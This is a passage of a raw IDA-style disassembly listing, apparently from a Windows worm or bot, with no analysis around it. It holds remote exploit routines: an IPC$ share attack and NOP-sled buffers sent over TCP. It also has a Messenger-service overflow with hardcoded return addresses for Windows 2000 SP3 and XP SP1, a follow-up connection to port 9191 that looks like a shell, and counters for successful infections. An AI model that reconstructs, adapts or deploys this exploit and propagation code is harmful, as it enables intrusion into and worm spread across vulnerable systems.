		jz	loc_40DD40
		push	10h
		lea	eax, [ebp-14h]
		push	eax
		push	ebx
		call	dword_4440AC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40DD40
		push	edi
		push	89h
		push	offset dword_43EDD0
		push	ebx
		call	dword_4441A0	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40DD40
		push	edi
		mov	esi, 640h
		push	esi
		lea	eax, [ebp-654h]
		push	eax
		push	ebx
		call	dword_444064	; recv
		push	edi
		push	0A8h
		push	offset dword_43EE60
		push	ebx
		call	dword_4441A0	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40DD40
		push	edi
		push	esi
		lea	eax, [ebp-654h]
		push	eax
		push	ebx
		call	dword_444064	; recv
		push	edi
		push	0DEh
		push	offset dword_43EF10
		push	ebx
		call	dword_4441A0	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40DD40
		push	edi
		push	esi
		lea	eax, [ebp-654h]
		push	eax
		push	ebx
		call	dword_444064	; recv
		movsx	eax, byte ptr [ebp-610h]
		sub	eax, 30h
		jz	short loc_40DD68
		dec	eax
		jz	short loc_40DD47


loc_40DD40:				; CODE XREF: .text:0040DC9Bj
					; .text:0040DCB1j ...
		xor	eax, eax
		jmp	loc_40DDD4
; ---------------------------------------------------------------------------


loc_40DD47:				; CODE XREF: .text:0040DD3Ej
		push	edi
		push	ebx
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		lea	esi, [ebp+8]
		mov	edi, esp
		rep movsd
		call	sub_40D7FE
		add	esp, 0C4h
		push	0
		jmp	short loc_40DD8C
; ---------------------------------------------------------------------------


loc_40DD68:				; CODE XREF: .text:0040DD3Bj
		push	2
		push	ebx
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		lea	esi, [ebp+8]
		mov	edi, esp
		rep movsd
		call	sub_40D7FE
		add	esp, 0C4h
		test	al, al
		jnz	short loc_40DDAC
		push	1


loc_40DD8C:				; CODE XREF: .text:0040DD66j
		push	ebx
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		lea	esi, [ebp+8]
		mov	edi, esp
		rep movsd
		call	sub_40D7FE
		add	esp, 0C4h
		test	al, al
		jz	short loc_40DDB3


loc_40DDAC:				; CODE XREF: .text:0040DD88j
		mov	dword ptr [ebp-4], 1


loc_40DDB3:				; CODE XREF: .text:0040DDAAj
		push	ebx
		call	dword_444218	; closesocket
		cmp	dword ptr [ebp-4], 0
		jz	short loc_40DDD1
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		lea	eax, dword_43D880[eax]
		inc	dword ptr [eax]


loc_40DDD1:				; CODE XREF: .text:0040DDBEj
		xor	eax, eax
		inc	eax


loc_40DDD4:				; CODE XREF: .text:0040DD42j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DDD9	proc near		; CODE XREF: .text:0040E332p
					; .text:0040E354p ...

var_89B8	= byte ptr -89B8h
var_8950	= byte ptr -8950h
var_68E0	= byte ptr -68E0h
var_6870	= byte ptr -6870h
var_5DAC	= byte ptr -5DACh
var_4808	= byte ptr -4808h
var_4807	= byte ptr -4807h
var_3774	= byte ptr -3774h
var_2CB0	= byte ptr -2CB0h
var_2CAF	= byte ptr -2CAFh
Dst		= byte ptr -2CACh
var_24C8	= byte ptr -24C8h
var_24B8	= byte ptr -24B8h
var_2194	= byte ptr -2194h
var_2190	= byte ptr -2190h
var_2184	= byte ptr -2184h
var_1EFC	= byte ptr -1EFCh
var_1E80	= byte ptr -1E80h
var_16B0	= byte ptr -16B0h
var_1205	= byte ptr -1205h
var_F18		= byte ptr -0F18h
var_E78		= byte ptr -0E78h
var_76C		= dword	ptr -76Ch
var_75C		= byte ptr -75Ch
var_748		= byte ptr -748h
Src		= byte ptr -108h
var_107		= byte ptr -107h
var_B8		= byte ptr -0B8h
var_B5		= byte ptr -0B5h
var_8B		= byte ptr -8Bh
var_89		= byte ptr -89h
var_88		= byte ptr -88h
Str		= byte ptr -40h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		mov	eax, 89B8h
		call	__alloca_probe
		mov	eax, ds:dword_43310C
		push	ebx
		mov	[ebp+var_10], eax
		mov	eax, ds:dword_433110
		push	esi
		mov	[ebp+var_C], eax
		push	edi
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+Str]
		push	offset aSIpc	; "\\\\%s\\ipc$"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		xor	ebx, ebx
		xor	eax, eax


loc_40DE12:				; CODE XREF: sub_40DDD9+4Fj
		mov	cl, [ebp+eax+Str]
		mov	[ebp+eax*2+Src], cl
		mov	[ebp+eax*2+var_107], bl
		inc	eax
		cmp	eax, 28h
		jl	short loc_40DE12
		push	60h		; Size
		lea	eax, [ebp+var_B8]
		push	offset dword_43EFF0 ; Src
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strlen
		shl	eax, 1
		push	eax		; Size
		lea	eax, [ebp+Src]
		push	eax		; Src
		lea	eax, [ebp+var_88]
		push	eax		; Dst
		call	_memcpy
		add	esp, 1Ch
		push	9		; Size
		lea	eax, [ebp+Str]
		push	(offset	aC_4+3)	; Src
		push	eax		; Str
		call	_strlen
		pop	ecx
		lea	eax, [ebp+eax*2+var_89]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strlen
		add	al, 1Ah
		shl	al, 1
		mov	[ebp+var_1], al
		push	1		; Size
		lea	eax, [ebp+var_1]
		push	eax		; Src
		lea	eax, [ebp+var_B5]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strlen
		shl	al, 1
		add	al, 9
		mov	[ebp+var_2], al
		push	1		; Size
		lea	eax, [ebp+var_2]
		push	eax		; Src
		lea	eax, [ebp+var_8B]
		push	eax		; Dst
		call	_memcpy
		xor	eax, eax
		mov	ax, word ptr dword_4D525C
		add	esp, 2Ch
		push	eax
		call	dword_444260	; htons
		push	[ebp+arg_0]
		xor	eax, 9999h
		mov	[ebp+var_18], eax
		call	sub_4023C9
		pop	ecx
		push	eax
		call	dword_44417C	; inet_addr
		xor	eax, 99999999h
		mov	[ebp+var_8], eax
		push	2		; Size
		lea	eax, [ebp+var_18]
		push	eax		; Src
		push	offset word_43EB6E ; Dst
		call	_memcpy
		push	4		; Size
		lea	eax, [ebp+var_8]
		push	eax		; Src
		push	offset byte_43EB67 ; Dst
		call	_memcpy
		add	esp, 18h
		cmp	[ebp+arg_C0], ebx
		jz	loc_40E001
		mov	edi, 0DACh
		push	edi		; Size
		lea	eax, [ebp+Dst]
		push	90h		; Val
		push	eax		; Dst
		call	_memset
		mov	eax, [ebp+arg_C0]
		imul	eax, 3Ch
		lea	eax, dword_43F438[eax]
		push	4		; Size
		push	eax		; Src
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_24C8]
		push	eax		; Dst
		call	_memcpy
		mov	esi, offset aI_2 ; "ë"
		push	esi		; Str
		call	_strlen
		push	eax		; Size
		lea	eax, [ebp+var_24B8]
		push	esi		; Src
		push	eax		; Dst
		call	_memcpy
		push	4		; Size
		lea	eax, [ebp+var_2194]
		push	offset dword_4330F8 ; Src
		push	eax		; Dst
		call	_memcpy
		push	4		; Size
		push	[ebp+var_14]	; Src
		lea	eax, [ebp+var_2190]
		push	eax		; Dst
		call	_memcpy
		add	esp, 40h
		push	esi		; Str
		call	_strlen
		push	eax		; Size
		lea	eax, [ebp+var_2184]
		push	esi		; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 10h
		xor	eax, eax


loc_40DFB3:				; CODE XREF: sub_40DDD9+1F2j
		mov	cl, [ebp+eax+Dst]
		mov	[ebp+eax*2+var_4808], cl
		mov	[ebp+eax*2+var_4807], bl
		inc	eax
		cmp	eax, edi
		jl	short loc_40DFB3
		mov	esi, 1C52h
		push	esi		; Size
		lea	eax, [ebp+var_89B8]
		push	31h		; Val
		push	eax		; Dst
		mov	[ebp+var_2CB0],	bl
		mov	[ebp+var_2CAF],	bl
		call	_memset
		push	esi		; Size
		lea	eax, [ebp+var_68E0]
		push	31h		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 18h
		jmp	short loc_40E058
; ---------------------------------------------------------------------------


loc_40E001:				; CODE XREF: sub_40DDD9+143j
		push	7D0h		; Size
		lea	eax, [ebp+var_F18]
		push	90h		; Val
		push	eax		; Dst
		call	_memset
		mov	esi, offset aI_2 ; "ë"
		push	esi		; Str
		call	_strlen
		push	eax		; Size
		lea	eax, [ebp+var_E78]
		push	esi		; Src
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_10]
		push	eax		; Str
		call	_strlen
		push	eax		; Size
		lea	eax, [ebp+var_10]
		push	eax		; Src
		lea	eax, [ebp+var_75C]
		push	eax		; Dst
		call	_memcpy
		mov	eax, dword_43F438
		add	esp, 2Ch
		mov	[ebp+var_76C], eax


loc_40E058:				; CODE XREF: sub_40DDD9+226j
		push	0E29h		; Size
		lea	eax, [ebp+var_1EFC]
		push	31h		; Val
		push	eax		; Dst
		call	_memset
		movsx	eax, [ebp+var_1]
		mov	edi, [ebp+arg_BC]
		add	esp, 0Ch
		push	ebx
		add	eax, 4
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	edi
		call	dword_4441A0	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E215
		push	ebx
		mov	esi, 640h
		push	esi
		lea	eax, [ebp+var_748]
		push	eax
		push	edi
		call	dword_444064	; recv
		push	ebx
		push	68h
		push	offset dword_43F058
		push	edi
		call	dword_4441A0	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E215
		push	ebx
		push	esi
		lea	eax, [ebp+var_748]
		push	eax
		push	edi
		call	dword_444064	; recv
		push	ebx
		push	0A0h
		push	offset dword_43F0C8
		push	edi
		call	dword_4441A0	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E215
		push	ebx
		push	esi
		lea	eax, [ebp+var_748]
		push	eax
		push	edi
		call	dword_444064	; recv
		cmp	[ebp+arg_C0], ebx
		jz	loc_40E1B2
		push	68h		; Size
		lea	eax, [ebp+var_89B8]
		push	offset dword_43F288 ; Src
		push	eax		; Dst
		call	_memcpy
		push	1B5Ah		; Size
		lea	eax, [ebp+var_4808]
		push	eax		; Src
		lea	eax, [ebp+var_8950]
		push	eax		; Dst
		call	_memcpy
		push	70h		; Size
		lea	eax, [ebp+var_68E0]
		push	offset dword_43F2F8 ; Src
		push	eax		; Dst
		call	_memcpy
		push	0A5Eh		; Size
		lea	eax, [ebp+var_3774]
		push	eax		; Src
		lea	eax, [ebp+var_6870]
		push	eax		; Dst
		call	_memcpy
		push	84h		; Size
		lea	eax, [ebp+var_5DAC]
		push	offset dword_43F370 ; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 3Ch
		push	ebx
		push	10FCh
		lea	eax, [ebp+var_89B8]
		push	eax
		push	edi
		call	dword_4441A0	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E215
		push	ebx
		push	esi
		lea	eax, [ebp+var_748]
		push	eax
		push	edi
		call	dword_444064	; recv
		push	ebx
		push	0FDCh
		lea	eax, [ebp+var_68E0]
		jmp	short loc_40E208
; ---------------------------------------------------------------------------


loc_40E1B2:				; CODE XREF: sub_40DDD9+329j
		push	7Ch		; Size
		lea	eax, [ebp+var_1EFC]
		push	offset dword_43F170 ; Src
		push	eax		; Dst
		call	_memcpy
		push	7D0h		; Size
		lea	eax, [ebp+var_F18]
		push	eax		; Src
		lea	eax, [ebp+var_1E80]
		push	eax		; Dst
		call	_memcpy
		push	90h		; Size
		lea	eax, [ebp+var_16B0]
		push	offset off_43F1F0 ; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 24h
		push	ebx
		mov	[ebp+var_1205],	bl
		push	0CF8h
		lea	eax, [ebp+var_1EFC]


loc_40E208:				; CODE XREF: sub_40DDD9+3D7j
		push	eax
		push	edi
		call	dword_4441A0	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E219


loc_40E215:				; CODE XREF: sub_40DDD9+2B5j
					; sub_40DDD9+2E2j ...
		xor	al, al
		jmp	short loc_40E21B
; ---------------------------------------------------------------------------


loc_40E219:				; CODE XREF: sub_40DDD9+43Aj
		mov	al, 1


loc_40E21B:				; CODE XREF: sub_40DDD9+43Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DDD9	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		mov	[ebp-4], edi
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+0Ch]
		push	eax
		mov	word ptr [ebp-14h], 2
		call	dword_44417C	; inet_addr
		push	dword ptr [ebp+0A8h]
		mov	[ebp-10h], eax
		call	dword_444260	; htons
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		call	dword_444100	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40E319
		push	10h
		lea	eax, [ebp-14h]
		push	eax
		push	ebx
		call	dword_4440AC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E319
		push	edi
		push	89h
		push	offset dword_43EDD0
		push	ebx
		call	dword_4441A0	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E319
		push	edi
		mov	esi, 640h
		push	esi
		lea	eax, [ebp-654h]
		push	eax
		push	ebx
		call	dword_444064	; recv
		push	edi
		push	0A8h
		push	offset dword_43EE60
		push	ebx
		call	dword_4441A0	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E319
		push	edi
		push	esi
		lea	eax, [ebp-654h]
		push	eax
		push	ebx
		call	dword_444064	; recv
		push	edi
		push	0DEh
		push	offset dword_43EF10
		push	ebx
		call	dword_4441A0	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E319
		push	edi
		push	esi
		lea	eax, [ebp-654h]
		push	eax
		push	ebx
		call	dword_444064	; recv
		movsx	eax, byte ptr [ebp-610h]
		sub	eax, 30h
		jz	short loc_40E341
		dec	eax
		jz	short loc_40E320


loc_40E319:				; CODE XREF: .text:0040E274j
					; .text:0040E28Aj ...
		xor	eax, eax
		jmp	loc_40E3AD
; ---------------------------------------------------------------------------


loc_40E320:				; CODE XREF: .text:0040E317j
		push	edi
		push	ebx
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		lea	esi, [ebp+8]
		mov	edi, esp
		rep movsd
		call	sub_40DDD9
		add	esp, 0C4h
		push	0
		jmp	short loc_40E365
; ---------------------------------------------------------------------------


loc_40E341:				; CODE XREF: .text:0040E314j
		push	2
		push	ebx
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		lea	esi, [ebp+8]
		mov	edi, esp
		rep movsd
		call	sub_40DDD9
		add	esp, 0C4h
		test	al, al
		jnz	short loc_40E385
		push	1


loc_40E365:				; CODE XREF: .text:0040E33Fj
		push	ebx
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		lea	esi, [ebp+8]
		mov	edi, esp
		rep movsd
		call	sub_40DDD9
		add	esp, 0C4h
		test	al, al
		jz	short loc_40E38C


loc_40E385:				; CODE XREF: .text:0040E361j
		mov	dword ptr [ebp-4], 1


loc_40E38C:				; CODE XREF: .text:0040E383j
		push	ebx
		call	dword_444218	; closesocket
		cmp	dword ptr [ebp-4], 0
		jz	short loc_40E3AA
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		lea	eax, dword_43D880[eax]
		inc	dword ptr [eax]


loc_40E3AA:				; CODE XREF: .text:0040E397j
		xor	eax, eax
		inc	eax


loc_40E3AD:				; CODE XREF: .text:0040E31Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40E3B2(void *Dst,size_t Size,int,int)

sub_40E3B2	proc near		; CODE XREF: .text:0040E670p

var_13DC	= byte ptr -13DCh
var_13CC	= byte ptr -13CCh
var_11E8	= byte ptr -11E8h
var_AE4		= byte ptr -0AE4h
var_68E		= byte ptr -68Eh
var_683		= dword	ptr -683h
var_67F		= dword	ptr -67Fh
var_67B		= byte ptr -67Bh
var_551		= byte ptr -551h
var_54		= byte ptr -54h
var_34		= byte ptr -34h
Source		= byte ptr -24h
var_18		= byte ptr -18h
Src		= dword	ptr -10h
var_8		= dword	ptr -8
Dst		= dword	ptr  8
Size		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, 13DCh
		call	__alloca_probe
		push	ebx
		push	esi
		push	edi
		mov	esi, offset dword_433180
		lea	edi, [ebp+Src]
		movsd
		movsd
		movsd
		movsb
		mov	esi, offset aNetmaniac ; "NETMANIAC"
		lea	edi, [ebp+Source]
		movsd
		movsd
		movsw
		mov	esi, offset aAdik ; "ADIK"
		lea	edi, [ebp+var_18]
		movsd
		movsb
		push	7
		pop	ecx
		mov	esi, offset dword_43314C
		lea	edi, [ebp+var_54]
		rep movsd
		movsw
		movsb
		mov	esi, offset dword_43313C
		lea	edi, [ebp+var_34]
		movsd
		movsd
		push	[ebp+Size]	; Size
		movsd
		movsb
		mov	esi, offset aMessage ; "*** MESSAGE ***"
		lea	edi, [ebp+var_13DC]
		movsd
		movsd
		movsd
		movsd
		mov	esi, [ebp+Dst]
		xor	eax, eax
		push	eax		; Val
		mov	ecx, 4DEh
		lea	edi, [ebp+var_13CC]
		push	esi		; Dst
		rep stosd
		call	_memset
		push	50h		; Size
		push	offset dword_43F6D8 ; Src
		push	esi		; Dst
		call	_memcpy
		lea	eax, [ebp+Source]
		push	eax		; Str
		call	_strlen
		mov	edi, eax
		push	0Ch		; Size
		lea	eax, [ebp+Src]
		push	eax		; Src
		lea	eax, [esi+50h]
		inc	edi
		push	eax		; Dst
		mov	[ebp+Src], edi
		mov	[ebp+var_8], edi
		call	_memcpy
		lea	eax, [ebp+Source]
		push	eax		; Source
		lea	eax, [esi+5Ch]
		push	eax		; Dest
		call	_strcpy
		dec	edi
		lea	eax, [ebp+var_18]
		and	edi, 0FFFFFFFCh
		push	eax		; Str
		add	edi, 60h
		call	_strlen
		mov	ebx, eax
		inc	ebx
		mov	[ebp+Src], ebx
		mov	[ebp+var_8], ebx
		push	0Ch		; Size
		lea	eax, [ebp+Src]
		push	eax		; Src
		lea	eax, [edi+esi]
		push	eax		; Dst
		call	_memcpy
		add	esp, 40h
		lea	eax, [ebp+var_18]
		push	eax		; Source
		add	edi, 0Ch
		lea	eax, [edi+esi]
		push	eax		; Dest
		call	_strcpy
		push	8F8h		; Size
		dec	ebx
		lea	eax, [ebp+var_13DC]
		push	90h		; Val
		and	ebx, 0FFFFFFFCh
		push	eax		; Dst
		lea	edi, [edi+ebx+4]
		call	_memset
		push	1E4h		; Size
		lea	eax, [ebp+var_11E8]
		push	offset dword_43F4F0 ; Src
		push	eax		; Dst
		call	_memcpy
		push	708h		; Size
		lea	eax, [ebp+var_AE4]
		push	14h		; Val
		push	eax		; Dst
		call	_memset
		push	0Dh		; Size
		lea	eax, [ebp+var_34]
		push	eax		; Src
		lea	eax, [ebp+var_68E]
		push	eax		; Dst
		call	_memcpy
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_683], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_67F], eax
		push	1Eh		; Size
		lea	eax, [ebp+var_54]
		push	eax		; Src
		lea	eax, [ebp+var_67B]
		push	eax		; Dst
		call	_memcpy
		add	esp, 44h
		mov	eax, 0E8Ch
		sub	eax, edi
		push	eax
		push	offset aMsgBodySizeD ; "[*] Msg	body size: %d\n"
		push	offset stru_443520 ; FILE *
		call	_fprintf
		lea	eax, [ebp+var_551]
		sub	eax, edi
		mov	byte ptr [eax],	0
		lea	eax, [ebp+var_13DC]
		push	eax		; Str
		call	_strlen
		mov	ebx, eax
		push	0Ch		; Size
		lea	eax, [ebp+Src]
		push	eax		; Src
		lea	eax, [edi+esi]
		inc	ebx
		push	eax		; Dst
		mov	[ebp+Src], ebx
		mov	[ebp+var_8], ebx
		call	_memcpy
		lea	eax, [ebp+var_13DC]
		push	eax		; Source
		add	edi, 0Ch
		lea	eax, [edi+esi]
		push	eax		; Dest
		call	_strcpy
		push	0		; Time
		add	edi, ebx
		call	_time
		mov	[esi+28h], eax
		add	esp, 28h
		lea	eax, [edi-50h]
		mov	[esi+4Ah], eax
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E3B2	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 2064h
		call	__alloca_probe
		push	ebx
		push	esi
		push	edi
		push	5
		pop	ecx
		mov	esi, offset aWindows2000Sp3 ; "Windows 2000 SP 3 (en)"
		lea	edi, [ebp-64h]
		rep movsd
		movsw
		movsb
		xor	eax, eax
		lea	edi, [ebp-4Dh]
		stosd
		stosw
		stosb
		push	5
		mov	dword ptr [ebp-44h], 77EE044Ch
		mov	dword ptr [ebp-40h], 768D693Eh
		pop	ecx
		mov	esi, offset aWindowsXpSp1En ; "Windows XP SP 1 (en)"
		lea	edi, [ebp-3Ch]
		rep movsd
		movsb
		xor	eax, eax
		lea	edi, [ebp-27h]
		stosd
		stosd
		stosb
		lea	eax, [ebp+0Ch]
		push	1
		push	eax
		mov	dword ptr [ebp-1Ch], 77ED73B4h
		mov	dword ptr [ebp-18h], 7804BF52h
		call	sub_41AA0A
		cmp	eax, 1
		pop	ecx
		pop	ecx
		jz	loc_40E6F3
		test	eax, eax
		jz	loc_40E6F3
		push	2
		pop	edi
		cmp	eax, edi
		jnz	short loc_40E61A
		xor	esi, esi
		jmp	short loc_40E61D
; ---------------------------------------------------------------------------


loc_40E61A:				; CODE XREF: .text:0040E614j
		mov	esi, [ebp-14h]


loc_40E61D:				; CODE XREF: .text:0040E618j
		cmp	eax, 3
		jnz	short loc_40E625
		xor	esi, esi
		inc	esi


loc_40E625:				; CODE XREF: .text:0040E620j
		push	10h
		lea	eax, [ebp-10h]
		push	0
		push	eax
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+0Ch]
		push	eax
		mov	[ebp-10h], di
		call	dword_44417C	; inet_addr
		push	dword ptr [ebp+0A8h]
		mov	[ebp-0Ch], eax
		call	dword_444260	; htons
		mov	[ebp-0Eh], ax
		lea	eax, [esi+esi*4]
		shl	eax, 3
		push	dword ptr [ebp+eax-44h]
		push	dword ptr [ebp+eax-40h]
		lea	eax, [ebp-2064h]
		push	2000h
		push	eax
		call	sub_40E3B2
		add	esp, 10h
		push	11h
		push	edi
		push	edi
		mov	ebx, eax
		call	dword_444100	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40E6F3
		push	10h
		lea	eax, [ebp-10h]
		push	eax
		push	0
		push	ebx
		lea	eax, [ebp-2064h]
		push	eax
		push	esi
		call	dword_4440CC	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E6F3
		push	esi
		call	dword_444218	; closesocket
		push	1F4h
		call	ds:dword_42B014	; Sleep
		push	23E7h
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		lea	esi, [ebp+8]
		mov	edi, esp
		rep movsd
		call	sub_41B128
		add	esp, 0C0h
		cmp	al, 1
		jnz	short loc_40E6F3
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		lea	eax, dword_43D880[eax]
		inc	dword ptr [eax]
		xor	eax, eax
		inc	eax
		jmp	short loc_40E6F5
; ---------------------------------------------------------------------------


loc_40E6F3:				; CODE XREF: .text:0040E601j
					; .text:0040E609j ...
		xor	eax, eax


loc_40E6F5:				; CODE XREF: .text:0040E6F1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; [00000017 BYTES: COLLAPSED FUNCTION std::char_traits<char>::assign(char *,uint,char).	PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_40E711(void	*Src,size_t Size)

sub_40E711	proc near		; CODE XREF: sub_40E971+116p

Src		= dword	ptr  4
Size		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+Size]
		push	esi
		push	edi
		push	ebx		; Size
		mov	esi, ecx
		call	_malloc
		mov	edi, eax
		test	edi, edi
		pop	ecx
		jz	short loc_40E743
		push	ebx		; Size
		push	0		; Val
		push	edi		; Dst
		call	_memset
		push	ebx		; Size
		push	[esp+1Ch+Src]	; Src
		push	edi		; Dst
		call	_memcpy
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_40E743:				; CODE XREF: sub_40E711+14j
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	8
sub_40E711	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_40E74B(void	*Src,size_t Size,int,int)

sub_40E74B	proc near		; CODE XREF: sub_40E841+19p
					; sub_40E8B5+16p ...

Src		= dword	ptr  8
Size		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+Size]
		push	ebx
		push	esi
		mov	ebx, ecx
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi		; Size
		call	_malloc
		mov	esi, eax
		test	esi, esi
		pop	ecx
		jz	short loc_40E797
		push	edi		; Size
		push	0		; Val
		push	esi		; Dst
		call	_memset
		push	[ebp+Size]	; Size
		push	[ebp+Src]	; Src
		push	esi		; Dst
		call	_memcpy
		push	[ebp+arg_C]	; Size
		mov	eax, [ebp+Size]
		push	[ebp+arg_8]	; Src
		add	eax, esi
		push	eax		; Dst
		call	_memcpy
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_40E797:				; CODE XREF: sub_40E74B+1Cj
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		pop	ebp
		retn	10h
sub_40E74B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E7A0	proc near		; CODE XREF: sub_40E841+5Bp
					; sub_40E841+68p ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40E7B0
		push	eax		; Memory
		call	_free
		pop	ecx


loc_40E7B0:				; CODE XREF: sub_40E7A0+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40E7A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E7B9	proc near		; CODE XREF: sub_40E841+21p
					; sub_40E916+8p ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jl	short loc_40E7CA
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40E7CA:				; CODE XREF: sub_40E7B9+Bj
		push	ebx
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		push	edi
		lea	ebx, [ebx+ebx+1]
		add	eax, ebx
		push	eax		; Size
		call	_malloc
		mov	edi, eax
		test	edi, edi
		pop	ecx
		jnz	short loc_40E7EB
		xor	al, al
		jmp	short loc_40E83D
; ---------------------------------------------------------------------------


loc_40E7EB:				; CODE XREF: sub_40E7B9+2Cj
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax		; Size
		push	0		; Val
		push	edi		; Dst
		call	_memset
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40E80B
		mov	al, [esi+4]
		mov	[edi], al
		lea	eax, [edi+1]
		jmp	short loc_40E820
; ---------------------------------------------------------------------------


loc_40E80B:				; CODE XREF: sub_40E7B9+46j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		lea	eax, [edi+3]


loc_40E820:				; CODE XREF: sub_40E7B9+50j
		push	dword ptr [esi+4] ; Size
		push	dword ptr [esi]	; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch
		push	dword ptr [esi]	; Memory
		call	_free
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_40E83D:				; CODE XREF: sub_40E7B9+30j
		pop	edi
		pop	ebx
		pop	esi
		retn
sub_40E7B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E841	proc near		; CODE XREF: sub_40E971+7Fp
					; sub_40E971+DBp ...

Src		= dword	ptr -8
Size		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		push	dword ptr [esi+4] ; int
		lea	ecx, [ebp+Src]
		push	dword ptr [esi]	; int
		push	1		; Size
		push	offset byte_42C988 ; Src
		call	sub_40E74B
		lea	ecx, [ebp+Src]
		call	sub_40E7B9
		mov	ebx, [ebp+Size]
		inc	ebx
		push	ebx		; Size
		call	_malloc
		mov	edi, eax
		test	edi, edi
		pop	ecx
		jnz	short loc_40E87C
		xor	al, al
		jmp	short loc_40E8B0
; ---------------------------------------------------------------------------


loc_40E87C:				; CODE XREF: sub_40E841+35j
		push	ebx		; Size
		push	0		; Val
		push	edi		; Dst
		call	_memset
		push	[ebp+Size]	; Size
		lea	eax, [edi+1]
